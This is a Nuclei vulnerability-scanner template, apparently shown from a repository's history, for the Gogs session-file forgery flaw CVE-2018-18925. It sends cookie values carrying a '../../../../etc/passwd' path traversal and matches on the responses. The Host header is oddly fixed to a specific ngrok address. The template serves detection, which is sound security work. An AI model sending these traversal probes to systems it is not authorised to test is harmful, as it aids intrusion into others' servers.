nuclei-templates/cves/2018/CVE-2018-18925.yaml

31 lines
1.2 KiB
YAML
Raw Normal View History

2022-02-09 20:40:54 +00:00
id: CVE-2018-18925
info:
name: Gogs - Remote Code Execution (CVE-2018-18925)
author: princechaddha
severity: critical
description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
reference:
- https://www.anquanke.com/post/id/163575
- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
- https://nvd.nist.gov/vuln/detail/cve-2018-18925
remediation: This issue will be fixed by updating to the latest version of Gogs
tags: cve,cve2018,gogs,lfi,rce
requests:
- raw:
- |
GET / HTTP/1.1
Host: 8941-45-77-171-204.ngrok.io
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
- |
GET / HTTP/1.1
Host: 8941-45-77-171-204.ngrok.io
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
req-condition: true
matchers:
- type: dsl
dsl:
- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'